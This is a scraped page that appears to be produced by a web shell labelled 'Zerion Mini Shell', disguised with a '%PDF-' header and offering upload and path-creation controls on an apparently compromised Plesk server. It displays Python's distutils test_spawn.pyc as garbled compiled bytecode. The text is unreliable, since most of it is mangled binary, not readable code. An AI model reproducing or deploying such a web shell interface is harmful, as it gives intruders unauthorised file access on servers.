%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/
Upload File :
Create Path :
Current File : //proc/self/root/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_spawn.pyc

�
5}�ac@s�dZddlZddlZddlZddlZddlZddlmZmZddl	m
Zddlm
Z
ddlmZmZddlmZddlm
Z
de
je
jejfd	��YZd
�Zedkr�ee��ndS(sTests for distutils.spawn.i����N(tcaptured_stdouttrun_unittest(tsupport(t_nt_quote_args(tspawntfind_executable(tDistutilsExecErrort
SpawnTestCasecBs>eZd�Zejejdkd�d��Zd�ZRS(cCsaxZddgddgfddgddgffD](\}}t|�}|j||�q1WdS(Ns
with spacetnospaces"with space"tnochange(RtassertEqual(tselftargstwantedtres((sC/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_spawn.pyttest_nt_quote_argss	tnttposixsRuns only under posix or ntcCs+|j�}tjdkrStjj|d�}|j|d�tj|d�n%tjj|d�}|j|d�tj|d�|jtt	|g�tjdkr�tjj|d�}|j|d�tj|d�n%tjj|d�}|j|d�tj|d�t	|g�dS(	NRsfoo.shs#!/bin/sh
exit 1i�sfoo.batsexit 1s#!/bin/sh
exit 0sexit 0(
tmkdtemptostnametpathtjoint
write_filetchmodtassertRaisesRR(Rttmpdirtexe((sC/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_spawn.pyt
test_spawns"c	Cs�tj��v}tj}|d}tjj||�}t|d��WdQXtj|tj	�t
|d|�}|j||�tj
dkr�t
|d|�}|j||�ntj|��!t
|�}|j||�WdQXd|}t
|d|�}|j|�tj��_}ddlm}tj|jd|��.|jd	�t
|�}|j||�WdQXWdQXWdQXdS(
Ns.exetwbRtwin32t
dontexist_i����(RtdefpathtPATH(ttest_supportttemp_dirtTESTFNRRRtopenRtstattS_IXUSRRR
tsystplatformt
change_cwdtassertIsNonetEnvironmentVarGuardt	distutilsRt	swap_attrtpop(	Rttmp_dirtprogram_noeexttprogramtfilenametrvtdont_exist_programtenvR((sC/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_spawn.pyttest_find_executable;s0	



(RR(	t__name__t
__module__Rtunittestt
skipUnlessRRRR7(((sC/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_spawn.pyRs	
cCs
tjt�S(N(R:t	makeSuiteR(((sC/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_spawn.pyt
test_suiteest__main__(t__doc__RR&R(ttimeR:ttest.supportRRttestRR"tdistutils.spawnRRRtdistutils.errorsRtdistutils.teststTempdirManagertLoggingSilencertTestCaseRR=R8(((sC/opt/plesk/python/2.7/lib64/python2.7/distutils/tests/test_spawn.pyt<module>s"	T	

Zerion Mini Shell 1.0